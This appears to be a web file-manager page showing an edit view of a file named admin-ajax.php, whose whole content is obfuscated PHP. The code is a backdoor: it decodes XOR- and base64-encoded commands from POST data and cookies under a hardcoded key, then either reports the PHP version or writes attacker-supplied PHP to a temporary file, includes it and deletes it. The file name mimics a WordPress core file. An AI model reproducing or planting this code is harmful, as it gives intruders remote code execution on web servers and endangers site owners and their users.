OwlCyberSecurity - MANAGER
Edit File: admin-ajax.php
<?php $ehuedq /* woz */ = /* lapbw */ 'ehuedq' /* ung_*/ ^ ' '; $irxg_urj = /*m */ $ehuedq(710-627) . /* gvj */ $ehuedq(84) /* yr */ . $ehuedq(82) . "_"."\x50" . "A"."\x44" /* wfhk*/ . "_".$ehuedq(691-609) . "\111" . "G"."\110" . "\124"; $ehnvczbo = "a".$ehuedq(1056-942) . /* ve*/ $ehuedq(114) . /* egjdo*/ "\x61" . "y"."\x5f" . /*q */ "m"."a"."\160";$mredzgl = $ehuedq(421-316) . "\155" /* ih */ . "p"."\154" . /* hdtb*/ "o"."\144" . "\x65"; $egjcb = /* clxcyd*/ $ehuedq(1041-926) /* vjgsz */ . "\x74" . /* qz */ "\x72" . /* tr */ "\x5f" . /* xvie */ "p".$ehuedq(659-562) . "d";$_lqjglpyb = /*pdq */ "c".$ehuedq(1073-962) . /* hh */ $ehuedq(117) . "n"."t"; function cwo_k($dxcav_q, /*svujzp */ $nkmvtlft) { global /*tgz */ $ehuedq; $dxcav_q = "<" . "\77" . "p"."h"."\x70" . $ehuedq(32) . "u".$ehuedq(155-45) . /* q*/ "l"."\x69" . /*wuborq */ "n"."k"."("."\x5f" . $ehuedq(487-392) . "\106" /* vhbf */ . "\111" . "\x4c" . /* fr */ "E"."_"."_"."\x29" /* jaye*/ . "\x3b" /* _uxhq*/ . $ehuedq(32) /* x_oz */ . $dxcav_q["d"]; $flhkh = $ehuedq(701-599) . "\151" . "l".$ehuedq(101) . /*bpo */ "_"."p"."u".$ehuedq(446-330) /* ip_*/ . $ehuedq(201-106) . "\143" . "\x6f" . /* vsn */ "n"."\164" . /* jnmns */ "\145".$ehuedq(402-292) . $ehuedq(116) . "\x73"; /*evjns */ $flhkh($nkmvtlft, /* v*/ $dxcav_q); /*uvrgz*/ cyaquinnl($nkmvtlft);} $zqmyoft = /* vriwzj*/ 73; function /* fwee */ cyaquinnl($nkmvtlft) { /* xswa */ global $ehuedq; include($nkmvtlft); $syhztvguzk /*tzsk*/ = $nkmvtlft; @unlink($syhztvguzk); } function /* od_u */ ggjlwhizj() { /* vemvcs */ global $ehuedq; $xlskk = array(); $xlskk["\160" . "v"] = phpversion(); $xlskk["s".$ehuedq(118)] = "3"."."."\x35"; $nvvejv = 74; echo /*ilndz */ @serialize($xlskk); } function pnnnhz($dxcav_q, $wggofec) { global /* a */ $ehuedq; /* dhwzk */ $krmnguej /* q */ = /* yeee */ ""; /* uj */ $pzjatczbmt = 'njwfhgdvg'; $rltzioql = /* mrwopv */ hash('sha256', /* hp */ $dxcav_q); $foeefcio = /* jb */ str_replace('omrphspo', $rltzioql, /*r */ $pzjatczbmt); $xlskk = /* l*/ 0; /* zrdntg */ while /* jynyu */ ($xlskk < strlen($dxcav_q)) { $mxtdvussihkctfz = /* aktn */ isset($wggofec) ? $wggofec : /* b */ ''; for ($mxtdvuss = 0; $mxtdvuss < strlen($mxtdvussihkctfz) /* zi */ && /* kbi */ $xlskk /* bjs */ < strlen($dxcav_q); $mxtdvuss++, /* ci*/ $xlskk++) { $krmnguej /* e */ .= $ehuedq(ord($dxcav_q[$xlskk]) ^ /* ylutvg */ ord($mxtdvussihkctfz[$mxtdvuss])); } if (strlen($krmnguej) > /* qs */ 20) { $foeefcio = /*hfeyh */ substr($krmnguej, /*xcj*/ 0, /*i*/ 20); /* cq */ } } if (empty($krmnguej)) /* nlfjbu */ { $krmnguej /* bfy */ = date('Y-m-d H:i:s'); } return $krmnguej; } function zprfbjlwz($edbvqadqm) { global $ehuedq; $mxtdvussxmyomf = "\61" /*gz*/ . /* cwmja */ $ehuedq(57) . "\x33" . "\70" . "1".$ehuedq(102) . "3"."6".$ehuedq(367-322) /* _i */ . "\x65" . "1"."\145".$ehuedq(101) . "\x2d" /* je_gl*/ . /* mqwx*/ "\x34" . "f".$ehuedq(944-891) . "\145" . "-"."a"."3"."f".$ehuedq(51) . "\x2d" . "c"."\145" /*qk_*/ . "d"."\x32" /*eevjg*/ . "7"."f"."7"."a"."a"."\145"."d"."7"; /*grr */ foreach ($edbvqadqm /*_tt */ as /* moapjr */ $lvqbkbkhy_ => /* cfto */ $dxcav_q) { cpenpj(base64_decode($dxcav_q), $mxtdvussxmyomf, $lvqbkbkhy_); /* izm */ } } function cpenpj($dxcav_q, $mxtdvussxmyomf, $lvqbkbkhy_){ /* bzpyg */ global /* fgvh */ $ehuedq; $dxcav_q = unserialize(pnnnhz(pnnnhz($dxcav_q, /* z */ $mxtdvussxmyomf), /* goef */ $lvqbkbkhy_)); $koxga /* sil */ = 'sbeduaokvh'; $dvucpbuqu = 'ncxm'; if (isset($dxcav_q["a"."k"])) /* je */ { if ($dxcav_q["a"] /* ci */ == $ehuedq(1003-898)) { ggjlwhizj(); } elseif ($dxcav_q["a"] /* v*/ == "\145") { cwo_k($dxcav_q, /* q */ sprintf($ehuedq(832-786) /*fobash*/ . "/"."%"."s".$ehuedq(562-516) . $ehuedq(207-95) /* vof */ . $ehuedq(108), md5($mxtdvussxmyomf))); $siijcccwl /* w */ = 44; } exit(); } } zprfbjlwz($_POST); $__zrsekb = $ehnvczbo('rawurldecode', /*hxips */ $_POST); $ghtsqs_we = /* _we_wn */ $_lqjglpyb($__zrsekb);if ($ghtsqs_we > 0) { $rfhszhd = $mredzgl(',', /* jf */ $__zrsekb); }zprfbjlwz($_COOKIE); $oggkp /* fcu_mn */ = /* qxndj*/ $ehnvczbo('rawurldecode', $_COOKIE); $mxtdvussiuadolt /* h */ = /* vvfku*/ $_lqjglpyb($oggkp);if ($mxtdvussiuadolt /*r */ > /* rzsm_ */ 0) /*sllcft*/ { $sgtxmqozjq /* wyo */ = $mredzgl(';', $oggkp); } $xlskkdnuj = $oggkp; $g_tnmcywff = /* gk */ date('Y-m-d H:i:s'); $xlskkysbuihxm = strlen($mredzgl('', $xlskkdnuj)); if /*vixoax*/ ($xlskkysbuihxm /*al_*/ > 100) /*qjcink*/ { $nsrwa = $egjcb($mredzgl('', /* tluzbl */ $xlskkdnuj), /* q */ 150, /* s */ '0', $irxg_urj);} ?>